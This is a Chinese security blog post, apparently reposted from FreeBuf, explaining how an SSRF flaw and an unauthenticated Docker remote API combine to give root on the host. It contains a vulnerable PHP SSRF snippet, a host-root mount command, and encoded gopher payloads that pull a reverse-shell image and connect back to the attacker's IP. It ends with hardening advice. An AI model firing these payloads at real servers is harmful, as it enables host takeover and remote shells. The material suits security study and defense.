首发于freebuf http://www.freebuf.com/articles/web/179910.html
这几天在做关于自动化部署docker镜像方面的项目,从而接触到了docker的api,而docker的api也可以通过tcp连接的形式来进行访问。那么从一个安全爱好者的角度出发,是否可以利用docker的远程api来实现提权等一系列的操作?查找了各种资料之后,最后我探索到了一条通过SSRF漏洞来攻击docker远程api从而最终还能够获得远程主机的root权限的攻击思路,并写了这篇文章来记录一下整个过程及其防范的方法。
什么是docker远程api?
Docker Remote API是docker团队为了方便我们远程管理docker而为我们提供的一套api接口。在默认的情况下,docker daemon坚挺在unix socket上,通常为unix:///var/run/docker.sock。此外,在一些情况比如当我们需要远程管理docker服务器或者是创建docker集群的情况下,我们往往需要开启docker的远程api。这里给出在ubuntu上的一种开启方法:
- 编辑
/lib/systemd/system/docker.service
文件,修改ExecStart一行为:
1 | [Service] |
- 之后再重启docker
1 | sudo service docker restart |
我们便可以利用docker client或者任意http客户端访问docker服务,例如
可以看到docker提供的api其实也是一个restful形式的http接口,具体的文档可以再docker的官网获取:Engine API V1.24
这里列出几个重要的接口:
- 列出所有的容器
1 | $ curl http:/localhost:4243/v1.24/containers/json |
- 列出所有镜像
1 | $ curl http:/localhost:4243/v1.24/images/json[{ |
- 创建并运行容器
1 | $ curl -H "Content-Type: application/json" \ |
可以看到如果开放了docker远程api,我们便可以使用restful接口来实现一切docker容器的操作。
怎样利用docker容器提权?
有些朋友可能会问了:docker容器内部是一个虚拟化的环境,与主机隔离,那么怎样才能利用docker容器达到主机的控制权?这里就涉及到docker运行时的用户权限了。docker daemon
运行时是以root用户运行,因而具有极大的权限:
1 | $ ps aux|grep dockerd |
那么怎样通过docker daemon最终获得服务器的root权限?这里我们可以利用docker挂载宿主机文件的功能,直接挂载高权限目录,从而在容器内部获取宿主机的控制权限。这里有一个黑魔法:
1 | docker run -v /:/hostOS -i -t chrisfosterelli/rootplease |
运行后的输出如下:我们退出docker,查看宿主机/root/目录:可以看到我们成功写入了/root文件夹一个文件。上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
主要的作用是:从 Docker Hub 上面下载我们指定的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。而这个镜像rootplease
在容器内部执行了一个脚本exploit.sh
,主要内容便是chroot到/hostOS中。这样我们便通过读写宿主机的任意文件实现了获取宿主机的最高权限。这个镜像的源码可以在Github上获取。
怎样通过SSRF完成攻击?
这里我们的服务器端环境如下:
这里我们来看在php中经常出现的导致SSRF漏洞的代码实现:
1 | <?php |
php中通常使用libcurl来实现http请求,这里可以看到$_GET['url']
可控,从而可以请求任意站点,从而构成了SSRF漏洞。但是有的读者有可能会问:docker的api有很大一部分是需要post的,那么怎样才能发送post封包?这里便祭出我们的大杀器——gopher协议
。Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 这里Ricterz师傅曾经写过一篇很好的关于gopher协议扩展ssrf攻击面的文章。因此我们便可以通过gopher协议来访问内网开放的docker api
从而实现攻击。我们可以先尝试获取所有的镜像:
1 | root@1ae6b62d1757:/var/www/html# curl localhost/curl.php?url=http://172.17.0.1:4243/containers/json |
我们可以先构造一个特殊的docker镜像,并将之上传到DockerHub
1 | FROM ubuntu:14.04 |
这里我们的exploit.sh的写法:
1 | #!/bin/bash |
这里的docker镜像已经上传到了dockerhub。
之后我们可以先构造合适的post封包:
1 | POST /v1.24/images/create?fromImage=imagemlt/reverse_shell HTTP/1.1 |
这个post封包的目标是让远程主机从dockerhub下载我们需要的镜像。构造为gopher格式为:
1 | gopher://172.17.0.1:4243/_POST%20/v1.24/images/create%3FfromImage%3Dimagemlt/reverse_shell%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%200%0AContent-Type%3A%20text/plain%0A X-Registry-Auth:%20e30%3D%0A%0A |
通过ssrf的点触发即可在远程服务器下载我们的镜像。
之后再创建容器
1 | POST /v1.24/containers/create HTTP/1.1 |
将封包包装为gopher的形式:
1 | gopher://172.17.0.1:4243/_POST%20/v1.24/containers/create%20HTTP/1.1%0AHost%3A%20localhost%3A4243%0AUser-Agent%3A%20Docker-Client/18.03.1-ce%20%28linux%29%0AContent-Length%3A%2099%0AContent-Type%3A%20application/json%0A%0A%7B%22Cmd%22%3A%5B%22your ip%22%2C%223456%22%5D%2C%22Image%22%3A%22imagemlt/reverse_shell%22%2C%22HostConfig%22%3A%7B%22Binds%22%3A%5B%22/%3A/hostOS%22%5D%7D%7D%0A%0d%0a |
这里我们再最后多加了一些%0d%0a从而让连接能够断开。然后利用之前的ssrf的地方请求这个url,可以获得创建的容器id:
获取id后我们再post相应的使容器运行的封包:
1 | POST /v1.24/containers/5a42a09f7bb889f53943015346682388d40a151ec5bad30024282eee11811380/start HTTP/1.1 |
我们的服务器端nc端口3456,构造gopher格式的url候再次发送封包:
可以看到服务器端成功返回shell,且已成功挂载宿主机根目录到/hostOS下。
这样我们便通过ssrf与docker未授权api完成了一次攻击,并且获取了宿主机的root权限!
除了反弹shell的方法,我们也可以借助写crontab的方法来获得最后的shell,这里便不再赘述。
如何防范?
在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:
设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket
客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:
1 | docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock |
客户端连接时需要设置以下环境变量
1 | export DOCKER_TLS_VERIFY=1 |
这样便可以避免未授权的docker api被远程利用。
总结
未授权的docker remote api具有极大的风险,当结合ssrf漏洞时可以作为渗透测试扩展供给面的工具,最后获得root shell.因此我们做开发时应该严格防范。最后总结一下我们的攻击思路: